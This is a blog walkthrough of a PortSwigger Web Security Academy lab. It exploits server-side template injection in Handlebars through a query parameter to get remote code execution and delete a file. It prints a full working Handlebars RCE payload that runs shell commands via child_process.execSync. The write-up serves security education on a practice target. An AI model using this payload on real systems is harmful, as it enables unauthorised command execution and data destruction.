SSTI – Server-side template injection in an unknown language with a documented exploit

This is the fourth lab from the PortSwigger Web Security Academy on SSTI or Server Side Template Injection. This lab solves in almost exactly the same way as the previous labs – it’s a matter of finding where the vulnerability exists, pushing a payload into that spot, identifying the underlying framework, and then crafting the necessary payload to complete the lab.

Let’s do it: PortSwigger Web Academy labs

  1. SSTI – Basic server-side template injection
  2. SSTI – Basic server-side template injection (code context)
  3. SSTI – Server-side template injection using documentation
  4. >>SSTI – Server-side template injection in an unknown language with a documented exploit<<
  5. SSTI – Server-side template injection with information disclosure via user-supplied objects
  6. SSTI – Server-side template injection in a sandboxed environment
  7. SSTI – Server-side template injection with a custom exploit

NOTE – Links will light up as posts become available.

Resources

Lab: Server-side template injection in an unknown language with a documented exploit

Let’s read the instructions and see the goal of the lab. All this one says is that we have:

  1. Template injection
  2. We have to delete morale.txt from Carlos’s home directory

This one gives us fewer details, so the difficulty is climbing from that standpoint.

Step 1: Recon

Let’s poke at the web app and figure out where a template is being used. For this lab, we have the standard store interface we know and love:

a screenshot of the store interface

No opportunity to log in. The only buttons we have are the ‘View details’ buttons for the various products and the Home link in the upper right. Very limited. ‘Home’ does exactly what you expect – takes you back to this page. Let’s click a ‘View details’ button:

a screenshot of a product being out of stock

This is most likely where our injection is going to happen. This is the exact functionality that was previously used. Let’s check the HTTP History log in Caido to see how this out of stock message is returned to client side.

a screenshot of Caido showing the HTTP history

So, a GET is executed against /product with the query parameter productId=whatever. That returns a 302 with a Location pointed towards the message that gets displayed:

a screenshot of the Location header on a 302 pointing towards /?message= the displayed message

So, a GET is executed against this new location which results in the home page being displayed with the message passed in via the query parameter. Given that, let’s try to stuff an SSTI payload into this query param and see what kind of response we get. Right mouse click, send to Replay:

a screenshot of Caido. Convert Tools in the lower left URL decoding the query parameter payload

Note – I love the Convert Tools plugin for Caido. That’s what we are seeing here in the lower left corner.

Let’s change the payload to our trusty {{7*7}} and hit send:

a screenshot of {{7*7}} payload
a screenshot of the encoded payload

and we get a 500:

a screenshot of 500 Internal Server Error

Scrolling deeper into the response yields this:

a screenshot of error message showing Handlebars are in play

Looks like we’re dealing with Handlebars templates. We need the syntax.

Step 2: Confirm the Template Engine

PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/JavaScript.md#handlebars

Here we see that Handlebars will respond to {{this}} and maybe {{self}}. Let’s send them both:

a screenshot of handlebars specific payload self={{self}} this={{this}}

Gives us:

a screenshot of 200 response

So handled – what does the content look like?

a screenshot of returned RCE. this=[object Object]

Good old [object Object]. We have JavaScript execution on the back end. This is the spot.

Step 3: Explore

Back to PayloadsAllTheThings. We have this payload to play with:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Wow, this is a long payload. Kudos to the hacker who originally discovered and constructed this payload. With that being said, we can see this part of the payload is where we are most interested:

        {{this.push "return require('child_process').execSync('ls -la');"}}

We could actually run this as is, but let’s go ahead and run ‘id’ instead to keep in line with previous posts.

a screenshot of 'id' results. Carlos is the user

There it is – we have code execution on the server. From here, we need to find the morale.txt file and then delete it to solve the lab.

Step 4: Solve the lab

a screenshot of payload for dir /

Let’s run this and see if we can do a directory listing of ‘/’:

a screenshot of results of dir /. /home is in the list

Now, let’s do a directory listing on ‘/home’:

a screenshot of dir /home. carlos is in the list

There’s carlos. Now, let’s run a listing on this user’s directory:

a screenshot of dir/home/carlos. morale.txt is listed

And here is our target file. Now, we just fire ‘rm’ on the file.

a screenshot of payload to rm /home/carlos/morale.txt

Doing a refresh within the browser and we see we have solved the lab:

a screenshot of lab solved

Done!

Summary

Another SSTI lab down, and this one ramped up the difficulty by stripping away some of the usual hints. No framework details upfront—just raw template injection to work with. But with the right approach, we still got RCE and took control.

Key takeaways:

  • Handlebars error messages can leak useful info for exploitation
  • SSTI payloads vary by template engine—using the right syntax matters
  • JavaScript-based template injection can lead to full command execution
  • Even with limited UI options, query parameters can still be an attack surface

Happy hacking!

Leave a Reply